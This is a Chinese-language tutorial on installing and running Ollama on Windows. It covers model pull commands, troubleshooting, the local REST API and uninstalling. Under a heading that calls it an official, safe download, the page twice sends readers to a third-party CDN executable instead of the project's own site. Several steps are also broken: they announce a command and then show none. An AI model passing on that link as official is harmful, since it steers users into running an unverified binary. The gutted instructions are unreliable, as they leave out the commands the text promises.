【2025最新】Ollama 下载安装教程（超详细图文步骤 + 本地大模型离线运行指南）

一、Ollama 是什么？为什么越来越多人在用？

如果你正在寻找一个简单、安全、免费的方式在 本地运行各种大模型（如 Llama、Qwen、Mixtral、Gemma），那么 Ollama 就是目前最轻松的方案之一。

它的优势非常明显：

• 支持本地推理，数据不上云，隐私安全
• 一键拉取 & 一条命令运行大模型
• 无需复杂配置、无需 CUDA，也能运行 CPU 版本
• 提供 REST API，可直接接入本地应用、网页、脚本
• 模型生态丰富：Llama、Qwen、Mistral、Phi、Gemma 都能跑

无论你是开发者、AI 爱好者，还是想在本地体验大模型的普通用户，阅读本篇 Ollama 下载安装教程 就足够你完成入门。

二、Ollama官方下载与安装包地址（安全可用）

为方便国内用户下载，你可以使用以下经过毒霸安全认证的安装包：

👉 Ollama Windows 安装包（直链下载）：
https://dubapkg.cmcmcdn.com/cs/257def/ollama.exe

该安装包为 Windows 系统专用，下载完成后双击即可安装。

⚠️ 提醒：Ollama 官方支持 Windows 10/11（64 位）。

三、Ollama 安装步骤（新手也能看懂）

步骤 1：运行安装程序

下载完成后，双击 ollama.exe。

系统会弹出 UAC 询问是否允许安装，点击 “是”。

步骤 2：静默安装过程

Ollama 的安装过程实际上很简单，不需要手动操作：

• 自动复制文件
• 自动注册系统服务
• 自动配置本地端口（默认 11434）

安装通常只需要 10 秒左右。

步骤 3：安装完成后自动启动

安装完成后，Ollama 会自动启动一个本地服务，你无需额外设置，就能开始使用模型了。

你可以打开 PowerShell / CMD 或 Windows Terminal，输入：

正常情况下你会看到可用命令提示。

四、首次使用：下载 & 运行你的第一个大模型

Ollama 的核心体验就是“拉取模型”。

例如，拉取（下载）Llama3 8B 模型：

完成后，运行模型：

出现提示符后，你就可以像聊天一样与模型互动。

如果你想退出，按：

五、常用模型推荐（可直接复制）

模型名称	推荐用途	拉取命令
llama3:8b	通用任务、日常对话	ollama pull llama3
qwen2:7b	中文能力强、代码不错	ollama pull qwen2
gemma:7b	谷歌轻量模型	ollama pull gemma
phi3:mini	超轻量、适合低配电脑	ollama pull phi3
mistral:7b	英文代码能力优秀	ollama pull mistral

提示：如果你只想轻量体验，推荐从 phi3:mini 或 llama3:instruct 开始。

六、Ollama 常见问题解决（强烈建议收藏）

1. 提示 “无法连接到服务器”

打开浏览器访问：http://localhost:11434

• 能打开：说明服务正常
• 打不开：请尝试重启 Ollama 服务

2. 下载模型速度慢

解决方法：

• 使用代理
• 切换网络
• 换运行时间（晚间更快）

Ollama 模型的体积普遍较大（3GB~10GB），速度慢属于正常现象。

3. GPU 没生效？仍然在用 CPU 推理？

检查显卡：

若 GPU 显示 “0”，请检查是否：

• 显卡驱动太旧
• 没安装 NVIDIA CUDA（仅 NVIDIA 显卡可用）
• 使用 AMD / Intel 显卡暂时只支持部分模型

七、如何在应用中调用 Ollama（开发者必看）

Ollama 默认开启 REST API，地址为：

http://localhost:11434/api/generate

最简单的调用方式：

你可以在：

• Python 脚本
• 网页前端
• Node.js 项目
• 本地软件

中完全无缝调用，开发体验非常友好。

八、Ollama 卸载方法

如需卸载：

1. 打开 “设置 → 应用 → 已安装应用”
2. 搜索“Ollama”
3. 点击卸载即可

不会残留服务、不会占用后台。

九、总结：本地大模型最佳方案，入门首选 Ollama

通过本文的 Ollama 下载安装教程，你已经掌握：

• Windows 快速下载 & 安装方法
• 常见模型下载命令
• 如何启动、运行、调用模型
• GPU/速度常见问题处理

Ollama 的优势让它正在成为国内外开发者的本地推理首选平台。如果你想在自己的电脑上安全、私密、快速地运行大模型，从 Ollama 入门完全足够。

再次附上安装包：https://dubapkg.cmcmcdn.com/cs/257def/ollama.exe